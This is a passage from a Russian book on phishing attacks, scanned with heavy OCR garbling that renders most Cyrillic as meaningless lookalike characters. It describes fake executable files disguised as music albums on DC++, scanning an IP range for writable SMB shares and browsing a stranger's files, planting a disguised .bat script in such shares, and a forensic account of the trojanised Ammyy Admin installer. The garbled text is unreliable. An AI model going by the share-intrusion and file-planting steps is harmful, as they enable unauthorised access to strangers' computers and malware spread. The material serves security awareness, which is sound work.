[ scoater ft. Wicky Leandros Iyrics-Clesk Bleu (2011 mp3 (Music) - Download. exe eng 326,83 KB H7BPXOOSDYWTAANIPQAVIYUATEDS. .
[ 5caoter-20 Vears OF Hardcore (2013) mp3 {Music) - Download. exe exe 326,86 KB RW4ZSKRWSTPMIZECGCRERTITYA. ..
[m Sconter-20 Vears OF Hardcore Expanded Edition Series (2013) mp3 (Music) - Download, exe exe 326,85 KB WIFVOKMULELOZEMWYSYIWOWETD, .,
[=]Scooter-acE (2016) mp3 (Music) - Download. exe exe 326,86 KB SICDIGKISHC4Z560HRASETZBRAEM. ..
[=]Scooter-all Studio albums (1995-200%) mp3 (Music) - Download. exe Bxe 326,84 KB TWSUZSFLHYZKQZMLYIIOU3ISSVIF. ..
[B]Sconter-Discagraphy (1994-2013) mp3 (Music) - Download. sxe exe 526,85 KB GET2TMGESDRKSTRSI¥VQACHAID.
IﬂScuoter-D\scography (1995-2016) mp3 {Music) - Download. exe eng 326,86 KB ZHRSTRYIH4HLTAZ4KMTZHIBUDDT...
[51 Scooter-Discography [Studio albums] (1995-2012) mp3 (Music) - Download. exe exe 326,53 KB T7ALZMFALITRIVAKTKSTZUCZPISG. .
[m Sconter-Live at Usbel and Gefahrlich Hamburg (2014) mp3 (Music) - Download.exe exe 326,87 KB AK7HOOSHZFPTSOCKERUIIVOHYNG. ..
[m7Sconter-Live In Hamburg (2010) mp3 (Music) - Download.exs Exe 326,87 KB ORRFIWFSRYAZ0ACSPDWFEBEZEE, ..
[ Scooker-Live Videos (1934-2010) mp3 (Music) - Download. sxe exe 326,86 K6 AVTGFXBQZWXR4AGIFIWTCYSIQRY. .
[E]Sconter-the complete collection of 40 videnow (2009) mp3 (Music) - Download. exe exe 526,86 KB FYIACWAWAVQI3LBMEZGFETAG7SC,
[ Scooter-The Complete Yideo Collection (2013) mp3 (Music) - Download.exe eng 326,85 K6 HF4K4IECZIBKTPISDANAROION4AS, ..
[87 Scooter-The Fifth Chapter [Deluxe Edition] (2014) mp3 (Music) - Download. exe exe 326,86 KB EWESLNZUTLW3YYAEVALEYA0AS, .
[2] Scooter-The Logical Song (2015) mp3 (Music) - Download.exe exe 326,85 K6 EMACTDTD4CIKUBMTUPPGRYSKXDQ, ..
[m7Sconter-The Only Gne (20113 mp3 (Music) - Download.exe Exe 326,67 KB NSI4CNRRIESZKQREV4R3QCLUTAHE. .,
[mScarpion Child-acid Roulstte (2016) mp3 (Music) - Download.exe exe 326,67 KB HOADEHAZ7HAEGCTGOTRHMZEFKNS. ..
[E]Scorpions Acoustica Live in Lishoa (2001) mp3 (Music) - Download. sxe exe 526,87 KB WIPK4XKHKOCSBYNDYLUEFSMTSI4, .
IE]Scurpions and Berliner Philharmoniker-Marnent of Glory (2000) mp3 (Music) - Download, exe eng 326,86 KB ISITTSWEBNFMAHSISGIFMSNAEEZLG. ..
[B7 Scorpions Best (1999) mp3 ¢Music) - Download. exe exe 326,87 KB 6GPZASUNGNROVEQATSOVCAFZYF. .,
[2] Scorpions Super rack in Japan 1984 (1984) mp3 (Music) - Download, exe exe 326,84 KB D46k IRZDALEQRWEYZWERKHWED

[ Scarpions-[Hellfest Open Air. France] (2015) mp3 (Music) exe 326,86 K6 KOIESNFRCETIKXUGOCRIGKCOIZG, .
[E]Scorpions-50th Anniversary Deluxe Collection (2015) mp3 (Music) - Download exe exe 526,86 KB INMNVEMSOBFNENFRITHAGF GYECS, .
IﬂScurpions-Acoust\ca. Live in Lisboa 2001 [TY wersion] (2012) mp3 (Music) - Download.exe eng 326,64 KB 63KD4MHATUKEIDRAKL4RTQFOICR. ..
[57 Scorpions-Animal Magnetism [S0th Anniversary Delaxe Edition] (2015) mp3 ¢Music) - Download. exe exe 326,57 KB ATTUKEYZNQTGTIUZRURDI47SYEAY. ..
[ Scorpions-Anthelogy (2015) mp3 (Music) - Download exe exe 326,84 KB ZT7X4LZZMLLZSEWLIZPSICPRXTPALY.
[mScorpions-Best OF Rockers'n * Ballads (1989} mp3 {Music) - Download.exe Exe 326,84 KB SYACIEZIQINGRICIFWDAILYYHECT, ..
[ Scarpions-Best Songs (2014) mp3 (Music) - Download.exe exe 326,88 K6 PODGRIFISCGRLUSZLEYRGNBGR4GE. .,
[2]Scorpions-Blackout [S0th Anniversary Deluxe Edition 2 CD + DYD] (2015) mp3 (Music) - Downloa. .. exe 526,83 KB HETOTADHPWETCWDVRXWAZFHOS,
IE]Scurpions-Elackaut [S0th Anniversary Deluze Edition CD+ D¥D] (2015) mp3 (Music) - Download.... eng 326,68 KB PFNKIUMRIVEZESMKBAWRPNCDATRC. ..
[57 Scorpions-Blackout [Remastered] (2014) mp3 (Music) - Download. exe exe 326,86 KB R22DH30DVAZWOTIOSADWEWAWL. ..

Puc. 2.15. @aiinsl nons3osamens cemu DC++, docmynHele 0151 3a2py3Ku

| Do+

Anime
Filrns
Game
Gamonli
Pulk
Music
Serial
Soft
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KN

Eciu mocMoTpeTh CMCOK pacrpoCTpaHsIeMbIX
IaHHBIM TOJIb30BaTe/neM (aioB, TO MOKHO 3a-
MEeTUThb, UYTO Y HEero mojJ MHOXEeCTBO Pa3INYHbIX
MMOMCKOBBIX (pa3 ecTh momxopsinyue @aiib
(puc. 2.16) pa3nnyHOM TeMAaTUKN.

B Kaxkmoi OUpeKTOpUM HaxoAsSTCs ¢aiiabl
C Ha3BaHMUSIMM TIOMYJISIPHBIX TIPOU3BENeHUI, TPO-
rpaMM, UTP U Tak ganee.

HO6JIaI‘0,£[apI/[M virustotal.com n AHTUBUPYCHbBIE
MMPOAYKTHI 3@ TMTOMOIIb B JE€MOHCTpALUU U OBU-
HeMCs Jasibliie.

He Bcerpma ajis1 aTaku HEOOXOOMMO CO3/1aBaTh
MOACTAaBHOM pecypc. JOCTaTOYHO MOMYYUTH LO-

CTYI K Yy3KOMY Pecypcy, C KOTOPOTO PEeryJspHO MPOVCXOAUT 3arpyska
daitnoB mwiIn mporpaMm.
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OnHo¥t 13 pa3HOBUAHOCTEN GUIIMHTA, pacCMaTpUBaeMO¥i B 3TO yac-
THU, SIBJISIeTCS TTogMeHa (aiiyioB Ha 00IIeIOCTYIIHBIX pecypcax ambo pe-
cypcax, UMeIIINX YSI3BUMOCTH.

[TpakTuUyeCcKu BCe XaKepbl MOIb30BA/IMCh CKAHEpAMU CETU, [TO3BOJISIIO-
MMM IIPOBOAUTH CKAHMPOBaHMe 110 3aflaHHOMY nuarna3ony IP-aapecos
C LIeJIbI0 M3YYEHMSI CeTEBOTO OKPYKeHMS U OTBICKAHMS OTKPBITBIX pecyp-
COB, IOCTYMHbBIX [JISI 3aMUCH.

Yaiiie BCero oCyuiecTB/sIeTCs IOUCK OTKPBIThIX pecypcoB NetBIOS, FTP
i http, cogepskammx ysi3BuMbIe BeO-TIPUIOKEHMST (CKPUITTBI), II03BO-
JISTIOILME OCYILeCTBJISITh 3arpy3Ky (paiijioB Ha cepBep WM BHOCUTH U3Me-
HeHMsI B KoHGurypauyuu. OCHOBHOV 3a/1a4eii TaKo¥ aTaKy SIBJISIETCS IO -
MeHa 0ObIYHOTO (haiiia 3apaxkeHHbIM 09KI0POM JIMO0 3arpy3Ka Ha pecypc
BpeJIOHOCHOJ MpOorpamMMbl MOJ, BUAOM 00bIYHOTO Oe3BpeqHoro (daiina.

HeckosbKo CI0B PO 06IIeA0CTYITHbIE PeCypChl.

NetBIOS-pecypchl mpeacTaBsioT co00i OUPEKTOPUM MU OUCKH,
K KOTOPBbIM IIPeI0CTaB/IeH OOIIMIA TOCTYII.

K TakuM pecypcam OTHOCSITCSI TaK Ha3bIBaeMble ITAIIKy 0OMeHa, CeTeBbIe
Tariky, paHblile Ha3biBaeMble «IIapbl», UM «paclllapeHHble» manku. Ha-
3BaHMe ITPOM30IIIO OT aHIVIMICKMX c/I0B: share — mosns, shared — oG1uii.

Ha BO/IHE KPUIITOBAJIOTHOTO MOMeIIaTe/JbCTBA CJIOBO «IlIapa» yxKe
VIIOTpeO/IsIeTcsl B APYroM 3HaUeHMM!, TaK UTO He HY>KHO ITyTaTb.

B omepanyoHHbIX cuctreMax MS Windows 1o yMo/IUYaHUIO MMEIOTCS
IOCTYITHbIE AUPEKTOPUM — ITO BCE IOCTYIHbIE JOTUYeCKue AuUCKu-daii-
nbl (puc. 2.17), cumBon $ mokasbIBaeT, YTO OHM CKPBITHI, HO 3TO MaJio
YTO MEeHseT.

QBWHA P~ | [y Tb K Nanke | Thn | KONHYECTED KIHEHT CKHX NOAKNHHEHHA | CMHCaHHE |
2] ADMING ChwWindows Windows i} ¥ aaneHHeA Admin

= print$ Cwindaowstsystem32ispoalidrivers Windaws ApaHBepkl NPHHTEROE

[ WCProwIAL ., CiiProgramDatal deroxiWCProWIa Windows

@ (=]} Windows i} CTaHASPTHEIA OOWKHA pec,..
aaDd Db, Windaws i} CTaHAAPTHEIA obLLKA pec...
EuEs E:, Windows i} CTEHASPTHEIA 0OWKHA pec,..
aEafFs Fi Windaws i} CTaHASPTHEIA obLLHA pec...
=l IPc Windows 1} ¥ AaneHHe IPC

1]

o

Puc. 2.17. «PacwapeHHsie» cucmemHsie pecypcel

I Illapa — yacTh 3aaun, OTBeUAIONIas 3a BhITIOJIHEHME TTOMCKa KPUTITOPEIeHNs], Ybl0
BBIZAUY (IOJII0, TO €CTh LIapy) OCYLIECTB/ISIET KIMeHTaM-MaliHepaM MaifHUHT-ITyIT.
ITo ToOVi MpuuMHe, YTO IJIS TIOUCKA KPUIITOpPENIeHNsT He06X0AIMO MHOXKECTBO BbI-
YUCIATETbHBIX MOIIHOCTEN, ITYJIbI JEJISIT STU pelleH)s] Ha He3HAuMTebHbIEe, TAK Ha-
3bIBaeMble «IIOApelleHNsI», KOTOPbIe ¥ HOCAT YKa3aHHOe HauMeHOBaHMe.
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C$ u eif momo6HbBIE — 3TO MIAPBI JIOTUYECKUX IUcKOB, ADMINS — marnka
oriepaloHHOI cuctembl, IPC$ — ucronb3yeTcs sk aBTOpMU3aLyn. ITO
aJIMMHUCTPATUBHBIE «IIaPbI», JOCTYIT K KOTOPbIM BO3MOXXEH TOJIbKO U3-
0]l aKKayHTa afMMHMUCTpaTopa.

Iyis1 o6MeHa TaHHBIMMU U IIPeIOCTaBIEHMSI TOCTYIA K daiiaM JPyruM
[10/Ib30BaTeJISIM B JIOKAJbHOM CETU YaCTO CO3JIAaI0TCSI CeTeBble MaIlKU.
JIJ1s1 MeEMOHCTPAIIMY 9TOM «PbIOAIKV» aBTOP IIPUBEHET IIPUMEDP, KOTOPhIM
T10JTb30BaJIOCh, HABEPHOE, OOIBIIMHCTBO HAUMHAIOLIMX XaKePOB.

HeT HEOOXOAMMOCTY ITPOBOAUTD SKCIEPUMEHT C MCIOJb30BaHMEM
apcenana Kali Linux, moToMy KakK OCHOBHOI1 1I€JIbI0 SIBJISIETCSI J€MOH-
CTpalusi MPOCTOTHI MPOBOAMMBIX aTaK C I1ebI0 JOKa3aTh TOT (PakT, UTO
60JIbIIas YacTh MPo6JieM, BO3SHMKAKOIINX ¢ 6€30I1aCHOCThI0, — He A0
PYK HEBEpPOSITHO OITACHbIX XaKepOB, MCIOAb3YIOUINX HEIOCTUKMMbIe
TeXHOJIOTUN.

Ij1s1 mpoBeieHMsI aTaKy 37I0YMbIIIJIEHHUKY JOCTaTOUHO MCIO0JIb30BaTh
CKaHep, HalpuMep IpeacTaBIeHHbIi Ha pecypce http://lantricks.ru/ —
LanScope-daiinbl (pyuc. 2.18) mim eMy mogo6HbIe, KOUX LIeJIble TYUN.

G LanScope 2.9.1.180

O epmumansHeM calm nporpatasel . lantricks, com
MHcka & NOKENGHHAMM H

COOGW EHHAMM 08 DLLMGK 34

OTMPAENANTE Mo Supecy supportElantrick s.com

[OoBW ATECA © SETORAM H
NOABS0ESTENANM NPOrparirbl
Bbl CHOKETE Ha POpYe vy lantricks. comdfarum

AOCTHH AGE3HO NPEAOCTABAEH HOSTED
AocThrr-Komnanusen BX-HOST.MET AM-HOST

2001 —2004 v, lantricks, cam

Puc. 2.18. PecypcHeili ckaHep LanScope

OTo ApeBHSIS U OecIylaTHasl MporpaMma, HO paboTaeT MPOCTO Mpe-
KpPaCcHO M 3aMeyaTeIbHO MOAXOAUT AJ1s CJIeAyIollel 1eMOHCTPaLuN.

IlaHHBIN CeTEeBOI peCcypCHbIN CKaHep, KaK ¥ JTII000i1 IPYroii, T03BOJISIET
3aJlaBaTh AuamnasoH [P-afpecoB u OCYIECTBISTh MPOBEPKY XOCTOB Ha
HaJIMuye Y HUX OTKPBITBIX PECYPCOB, a TPU UX OOHAPYsKeHNUY ITporpaMMa
MpoBepsieT BO3MOKHOCTb TPOM3BeAeHUsT UTeHUsI U MogubuKaiumu pas-
MellleHHbIX Ha HUX JAHHBbIX (puc. 2.19).


http://lantricks.ru/
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~MokasbiEaTE KOMNBKTEPE!
‘p Wmewwme pecypoel j

—HCNoBMA NOMCKE

I@ﬂ Buneo j

&

T 0KASKIBATE PECYDCET
¥ MpoeepATE AOCTYN

[V Crkpbmble pecypchl

~CkaHWpOBaTE
[+ MetBios pecypck
[~ FTP pecypcel
[T HTTP

Puc. 2.19. [Napamempel ckaHepa LanScope

3mech HEOOXOIMMO CIesIaTh HeOOJIbIIIOe OTCTYTIEHME U, 3aberas Brie-
peJi, TOSICHUTD, YTO OOJIBINIASI YACTh OTKPBITHIX PECYPCOB OTKPBITA CAMU-
MU MOJIb30BaTENSIMU [J1s1 CBOMUX HYXZ. K mpumMepy, B foMallHel ceTu
y KOro-inb60o BO3HMKIIA HEOOXOAMMOCTD Tepenath Gaiiabl ¢ ogHO Ma-
IIVHBI Ha APYTYIO, VI TaKasi He0O6XOAMMOCTh BO3HUK/IA B KOPITOPATUB-
HOI1 ceTu. [Tocse ocyiecTBieHus nepenayun nojib30BaTelb, OTKPbIBILINIA
OOCTYII K TAKOI Tarke, MOXeT OCTaBUTb €ro JJIS1 «BAPYT IPUTOIUTCS».

MTak, Mbl B3sUI IIEPBOTO IOIABIIErocsl IIpoBaiiaepa M HA00yM BbI-
Opasu BbIIeNIeHHbBI eMy auana3oH [P-ampecos, 3amycTmian CKaHMpPOBa-
HMe U TOyYuu B pe3yabraTe daitibl (puc. 2.20):

=t 4663 - o IR

-1 46

B- 'y 4663
-3 download

_E; id

Puc. 2.20. O6HapyxeHHbIl nocpedcmeom cKaHepa pecype,
codepwawiuti docmynHele 015 3anucu dupekmopuu

Ha pecypce IP 46.63... 06Hapy>keHbl OTKPBITbIE JIJIs1 BCEOOIEero A0-
cryma ase gupekropun: «download» u «jd». Obe gupexTopuM comepskaT
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(daiinbl monb30BaTeNs U, cCaMoe MHTepeCHOe, IOCTYIHbI /15 3anucu. JIo-
6071, KTO X OTKPOET, MOXKET JeaTh TaM BCe, YTO YTOAHO, KakK C IMaIKoii
Ha CBOeM COOCTBEHHOM KOMIThIOTEpE.

Takue pecypchl IM60 3a6bIBAIOT 3aKPBIBATD, TMOO MMPOCTO HE OTHAIOT
cebe oTYETA B TOM, UTO KOMITHIOTEP, HA KOTOPOM OTKPBIT PeCypc, BUIEH
BceMy MIHTEepHETY U MPOCTO KAET, TOKA HA HETO He 3aIlIbIBET «PbIOaK».

KoHeuHO, CyllecTByeT BEpPOSITHOCTh TOTO, UTO TAaKO AOCTYIl MOIJIa
CO3aTh BPeAOHOCHAs IMPOrpaMMa, HO SIBHO He B HallleM CiyJae.

MbI CITOKOITHO MeeM BO3MOKHOCTb OTKPbITh OOHapY>KeHHbIE pecyp-
CBI, ¥ 3TO He OyHeT KaKMM-IMO0 HapylleHMeM 3aKOHOAaTeabcTBa. He-
MpaBOMEPHBIM CUMTAETCS JOCTYN K KOMIIbIOTEpPHOM MHbOpMaLun Ipu
yCIOBUM ObecrievueHusl CIelMaIbHbIX CPEJICTB ee 3allUThl, a B JAHHOM
cJlydyae 3allMUThl, KAK MOXXHO 3aMeTUTb, HUKAKOW HeT.

OTKpoeM yaajaeHHYI0 narnky «download » Ha 06GHapy;KEHHOM pecypce
IP 46.63... (puc. 2.21).

Kak MOKHO JIOTMYHO MPEATION0XUTh, JaHHAS OUPEKTOPUS UCIIONb3Y-
eTcs 11 3arpy3ku 13 CeTy pasindHOro poja MyJaAbTUMeOUiiHbIX (haiiaoB
M TIpOrPaMM U, IO BCeli BUAMMOCTH, Oblla OTKPbITA MOIb30BaTeeM JJIs
yI00CTBa AOCTYIIA C APYIUX YCTPOWICTB, K IIpuMepy rocpeactBom Wi-Fi
B IIpefenax KBapTUPBI.

YT0ObI 3aBEPIIUTH ITOT SKCIIEPUMEHT, IIPUBEIEM ellle OMH TOBOJ,
IOKa3bIBAKOIIMI ITPOCTOTY OCYIIeCTBIEHMS CIeroi (UIMHIOBOM aTaKu.
B TekcToBOM (haiisie MOKHO HamucaTbh HECKOJIbKO CTPOK CKPUIITOBO-
ro mMporpaMMMpPOBaHMs, IIepeMeHOBaThb €ro B ITaKeTHbIN (aiil, K mpu-
Mmepy «Cytiep Dance 2017 — HiT mp3.bat», 1 MOIOXUTH B IOCTYITHYIO IJIsT
3aMUCU AUPEKTOPUIO.

BTopast o6HapyskeHHasi Ha pecypce Iarka y>ke COIepsKUT JInuHble daii-
761, poTorpaduu  JOKYMEHTBI, 1aBaTh ee M300paskeHe aBTOpP He Oy[erT.

Boob61e, IoayunB AOCTYII K OJHON JIMIIb OTKPBITOM AUPEKTOPUN,
MOSKHO 6€3 0c060ro Tpyna IMOJMYYUTh HOCTYIT MTPAKTUUECKM KO BCEMY
COEPXMMOMY yOAJeHHOTO pecypca, HaxO4sIeMycsl Ha BCeX OMCKax
KOMIIbIOTEpA, HAlMCaB BCEr0 HECKOJIbKO CTPOK.

KoHeuHO, mpuBOAMMbIE TIPUMEPBI — 3TO a30yKa JJIsl CIelyaancTOB,
HO TeM, KTO He IOCBSsIleH, 3Ta MHbopMalys JO/KHA JaTh Cepbe3HYI0
AT AJ1s pa3MbliieHnit. Ha o6HapyskeHMe MepBbIX JOCTYITHBIX pecyp-
CoB yuuio 10 MMUHYT.

IIpencraBbTe, UTO J11060J (haili, JOCTYITHBIN HA 9TUX OOHAPYKEHHBIX
OTKPBITBIX IManKaxX, MOXXHO MOAUGUIIMPOBATD, TOOABUB BPeIOHOCHDIA
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KOZI, MJIY TIPOCTO 3aKMHYTh B JI0O0YI0 IMPEKTOPUIO WM CYOAUPEKTOPHUIO

BPeIOHOCHBIN (aiil.

- CeTh ~ 46.- download -

HosaA nanka

Mma = EHEHHA Thn Pazmep

.dina_art_cache 17 19:47 Manka c ainanm
|HecTa [P Imythemeshop 17 13:35 MNanka ¢ daiinamm
it 1 17 21:35 MNanka c darinamm
99 francs 2007 [Remux] 16 20:00 Manka c dafinanm
Angels & Demons 2009 1080p 17 22:24 MNanka ¢ daiinamm
bl betheme-wordpress-theme 17 12:03 MNanka c darinammi
{HMA blocklists 17 19:20 Manta c afnamm
EBreaking Bad 16 23122 MNanka ¢ daiinamm
CHopHHE Brikpoer: RedCafe-E 17 22:07 MNanka ¢ dafnamm
o download 17 18:59 Manka c dainanm
Hatry Potter,Hexalogy, 2001- 16 18:55 MNanka ¢ daiinamm
rstem () Pulp Fiction, TE-LieHTR, Brary| 17 22:30 MNanka c dainamm
1) resume 17 14:01 Manka c ainanm
] tails-amdéd-3,1 17 23:23 Manka c arinamm
g Teleport Pro 1,53 16 19:33 MNanka ¢ dainamm
The.Big.Lebowski. 1998, 720p. 17 17:12 Manka c darinanm
tarrents 17 18:59 Manka c harinamm
Under the Dome (Season 3) C 17 19:52 MNanka ¢ dainamm
watch 17 19:20 MNanka c darinamm
Hoean nanka 17 11:57 Maniea c hainanm
MNotrep 16 17:23 MNanka ¢ dainamm

%] .dina_Files 17 19:11 Diata Base File 2216 KB

|&] Arrival (2016).EDRip. 720p. AF 17 21:36 daiin "MKy S 447 549 KB

| Burn After Reading,2003.BDR, 17 23:50 Dann "MEY" 13982 146..,

|| dht.dat 17 6:39 darin "DAT" 1 KB

|| khw 17 7:20 daFin OKE

& Kill. ¥our Friends, 2015, BDRip, 16 19:27 Dain "MEY" 4 186 642 KB

|| settings.json 17 20:24 Darin "JSON" 3KB

|| stats.json 17 14:01 daiin "JSON" 1KE

4 The Fifth Element 17 21522 YLC media File {.mav) 5747 315 KB

i The.Mummy \WEB-DL. 1080p 17 14:35 YLC media File {.mdv) 4176 958 KB

he.Skeleton.Key, 2005, EDRip| 16 18:02 daiin "MKy S 600583 KB

& The.Wvitch.A.New.England, Fol 16 18:25 Daiin "MEY" 11 368 926,

|4 Windows 7 SP1 xB6-x64 Ru % 17 13:11 Darn 0bpasa AncKa 4573 440 KB

| Bcé soxpyr nozeneqeno. 2006) 17 23:57 hain "AT" 717 754 KB

|| Fappu MoTTep M Japel cMepTl 16 19:22 Daiin "MEY" 16576 272,

|| ChrHan. 2014 HDTY 17 20:03 Dakn "MKy 2884837 KB

Puc. 2.21. Codepmumoe docmynHol
0519 3anucu dupekmopuu Ha 0BHAPYKEHHOM pecypce

OGHapy>KeHHbI KOMITbIOTEP MOXKET MCII0JIb30BAThCS 3JI0YMBbIIIIEH-
HMKaMM KaK 3a0/1aropaccyauTcs, XOTh IPOKCH-CepBep Ha HEM pasBep-
ThIBAi, XOTb aTaKy C HEro rpoBoay. Mbl gaske He 00CYKIaeM, UTO MOXKHO
IPOCTO CKOIMMPOBATh JAaHHbIE, XpaHSIIMecs: Ha TOCTYITHOM XOCTe, U UC-
M0JIb30BaTh UX BO BpeJ 0JIb30BaTeIo.
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Takoe OTHOIIeHMe MMOJb30BaTeNe K MHGOpMAaILMOHHO 6e3ormac-
HOCTY HaOJII01aeTCsl He TOJIbKO Ha OBITOBOM ypoBHe. [Toxoykast KapTuHa
HaboAaeTcsl U B KOMMepUYeCcKoM, 1 B TOCYAapCTBEHHOM ceKTope!. 1 3To
JIETKO J0Ka3aTh, IIPMUBEAS ellle HECKOJIbKO MPUMepOB, HO He Gyaem OT-
BJIEKATbHCSI U TPATUTh HA 3TO AparolleHHOe BpeMs UMTaTesIs.

[IpuBegeHHbI MpUMep C OTKPBITBIMU pecypcaMy OblI 0OHapy>KeH
B TeUEHMe AeCSITU MUHYT, TOKa aBTOP HabMpast TEKCT MpeabIaymx ab3a-
1I€B, TIO9TOMY He HY>KHO ObITh TeHMeM ¥ 06/1a4aTh INTyOOKMMIM SHAHUSIMU
MaTeMaTUUYeCKOV CTATUCTUKYU U TEOPUY BEPOSITHOCTEN, YTOOBI ITpe/ICTa-
BUTH, Kakast 6e3/THa OTKPBITBIX YSI3BMMOCTEN U «Tapejodyek C roayooii
KaeMOYKOJi» TaUTCSI B CETMEHTE OTeYeCTBEHHO CeTH.

CrnpaBedjiMBOCTM pajy HEOOXOAMMO OTMETUTb, UTO TOT Ke (OKyC
MOSKHO ITOBTOPUTH U C 3apybeskHbIM Auarna3oHoMm IP-amgpecos. KcraTn
CKa3aTb, [10 MMeEIOIIeiics M, KOHEUHO e, HEeITOATBePKAeHHO nHpopMa-
LMY, pa3BeCay>kObl HEKOTOPBIX CTpaH (He Hallleil) B aBTOMaTUUeCKOM
peXXuMe OCYIIEeCTBJISIIOT TTOA00HbIe CKAaHMPOBAHMS, 3arpy3Ky OOHapy-
>KeHHBIX (pailyioB U UX aHaJIN3.

KoHeuHOo, 5TO BCe UTPbI C IPOCTBIMMU ITIpOrpaMMaMu. Terepsb npeacra-
BJMM, UTO MOXHO CIIeJIaTh, €CIM 3TO lieJieHaIlpaB/ieHHasl aTaka U OymyT
MCITOJIb30BaTbhCS O0OJIee cepbe3Hble MHCTPYMEHTBI, CIielaJbHble CKaHe-
PBI, «XOpolIKe» BpeLOHOCHbIe IPOrpaMMbl UJIU MIOITYJISIPHbIE PECYPCHI.

OoyH 13 caMbIX SPKUX IIPUMEPOB ITOJMEHbI JIeraJIbHOTO IIPOrpaMMm-
HOro obecrieueHus] MHGUIMPOBAHHBIM mpousoiien B 2016 romy, Korga
B CKauMBaeMoii ¢ opuIIMaIbHOIO caiiTa mporpamMmme, IpegHa3sHaue HHO
IJISI OpTaHM3aLMy yaaaeHHoro noctyrna Ammyy Admin?, o6Hapykuaach
BpeIOHOCHas IporpaMma.

BoT He60JIbII0M MPUMep aHaIM3a aTaKOBAHHO CUCTEMBI.

AHanus 3apaxxeHHoli cucmembl

PaccMaTpuBaeMblii HOCUTeIb MHPOpMAILMM He comepskaa pasMeTKuU
($aitsIoBOI CUCTEMBI, IIO3TOMY C 1[€/IbI0 Ja/IbHENIIero M3yuyeHms HOCu-
Tessl 6bUIO OCYIIECTBIEHO BOCCTAHOBJIEHME paHee COolepsKalleiicss pas-
MeTKM (hailJIoBOil CUCTEMBI, CTPYKTYPhI ¥ COAEPKMMOI0 Ha IpeacTaB-
JIEHHOM OOBeKTe.

I CrarucTtuka ayauTa KOpIopaTUBHBIX ceTeli: http://komp-exp.ru/stataudit2017/.
2 http://www.ammyy.com/.
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B KOpHeBOIt AMPEKTOpUM MUCCIeAyeMOTO0 XKeCTKOTO ACKa BOCCTAaHOB-
neH daiin ¢ HauMeHoBaHMeM mbrkiller.exe, SIBISIIOIIMIICS TTPOrPaMMOii,
NpeJHa3HAYeHHOJ IS yaaaeHus IJIaBHOV 3arpy304Hoii 061acTy 1 Tab-
JIUIIBI pa3fiesioB Ha 3KeCTKOM JIMCKe, CO3[aBasi BUAMMOCTb OTCYTCTBUS
nHopMauun.

[Togo6HBIMM MTPOTPaMMaMM IMOJIb3YIOTCSI 3JIOYMbIIIJIEHHUKM TTOC/Ie
3aBepIleHNsI IPeCTYITHbIX AeViCTBUI, KaK yke YKa3bIBaJIOCh B IIPeAbIAY-
1ieii 4acTu, C 1e/ibl0 3aMelJjieHusl peakiyuy Ha UHIUIEHT U COKPBITUS
(&) (1(0):

AHanus IeiicTBUIA T0JIb30BaTesI OIEPALMMIOHHOM CUCTEMbI ITOKa3all,
YTO IT0JIb30BaTEb BBOAWII B CTPOKE Opay3epa KIIoUeBOe CJIOBO «ammyy»
" OTKpbIBaJI 0UIMATbHbIN CAIAT, TOC/Ie Yero COBepIWI 3arpy3Ky IMpo-
rpaMMBbl ¢ ODUIMATBHOTO caiiTa pa3paboTymKa.

O6Hapy>XKeHHbII MMOC/Ie 3aIlycka MporpaMMbI-MHCTa/UISITOpa daiin
632A.tmp B nupekTopun \AppData\Local\Temp\ kinaccubuimpyeTtcst Kak
BpegoHOCHAas rmporpaMma tura Trojan-Spy.Winé4.Lurk.

B nmepuop BpeMeHM, COBNAAAOIINIi CO BpeMeHeM YCTaHOBKU ITPO-
rpaMMBbl, B JKypHaJie OIlepalMOHHOM CUCTEeMbI System.evtx comep>KUTCs
3aIMUCh:

B cucTeme yCTaHOBJIEHa CIyxba.

UMt coyx0bi:  AmmyyAdmin_ 3E78

Mg danma cnyxOu:  “C:\Users\777\AppData\Local\Temp\AA_v3.exe” -service
-lunch

Tum CrIy%0H: CIIyxba pexuMa I0Ib30BaTEeNsS

TUI 3amycka CIyXOH: ABTOMaTUYECKU

YyeTHas 3aIuch CIyx0OH: LocalSystem

B T0 ke Bpems B nupekTopuu \AppData\Local\Temp\ coszmaeTcs daiin
AA v3.exe, SBISIOLINIACS TIPOTPAMMOM [J151 YOQJIEHHOTO YIIPaBIeHMSI.

[ToMrMMoO 3TOro, KOMIbIOTEPHOE MCC/IeA0BaHMe HOCUTeNsT MHPOP-
Mal/¥ BBISIBUJIO, UTO 3JIOYMBILIJIEHHUKY, [IOJIYUYUB OOCTYII K OIepalu-
OHHOI1 CcUCTeMe, 3arpy3ujy Ha 3apa’keHHYI0 MalllMHY B OMPEKTOPUIO
C:\intel\ mporpamMmbl [IJis1 M3y4eHMSI CETEBOTO OKPY>XKeHUSI KOMITaHUU
(logParser.exe, netscan.exe).

Ananus o6Hapy>)KeHHbIX JaHHBIX YKa3bIBaeT Ha TO, UYTO BPeJOHOCHAs
KOMIIbIOTE€pHAas IporpaMma Obljia 3arpyskeHa Mpy yCTaHOBKe Mporpam-
MbI yIaJI€EHHOTO AocTyrna «Ammyy Adminy, sBisiomeiicss MoguduIMpo-
BaHHOI Bepcueit ieraJibHOTO MIPOTPaMMHOTI0 MPOIyKTa Jinbo 3akamyd-
JIMPOBAHHOTO TI0[ HETO.
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———————————— —

K ciioBy ckasatp, B Mae-utoHe 2016 roga B XoZle COBMECTHOM orepa-
vy Ypasnenust «K» BCTM MBI PO 1 ®CB P® 6pu1M 3aepskaHbl JIUIIA,
MIpUYacTHbIEe K pacIpPOCTPaHEHMIO U UCII0b30BaHMIO YKA3aHHOI BbIIIIE
BPeIOHOCHOJ MPOrpamMMbI’.

2.4. Ataka Ha MO6ubHbIE TenedoHbI

0O0630p BO3MOXKHBIX IPOIODKEHNUI (DUIMHT-aTaKM ObIJT ObI HEITOTHBIM
6e3 pacCMOTpeHMsI aKTyaJbHbIX aTaK Ha MOOWIbHbIN TeledOoH.

B Hayaje KHUTYM YIIOMMHAINCh BAPUAHTBI PACCHIIKM (DUITMHTOBBIX
COO0bIIeHUH, IPUHYKIAOIIMX [T0JIb30BaTeaei i MOOWIbHOrO TeaedoHa
yCTaHABAMBATD HA CBOJ TenedOH pasauMyHble TPUIOKEHUS] VJIM 3arpy-
KaThb (aiiibl.

3 Bceit Macchl BPeIOHOCHBIX ITPOTPaMM J1JisI MOOUJTbHBIX Tee(OHOB
MOYKHO BBIJZEJINTH TSITh OCHOBHBIX TPYIIIT:

O npenHa3HaueHHbIe AJ1s1 XUILeHUsS MHbOopMaLn;

QO MesKkue «pa3opuTean», npegHasHaueHHbIe JIJIs1 OTIIPaBKM IJIaTHBIX
SMS-coob1eHnii ¥ coBepiIeH)sI 3BOHKOB Ha IVIaTHbIE JTMHUM;

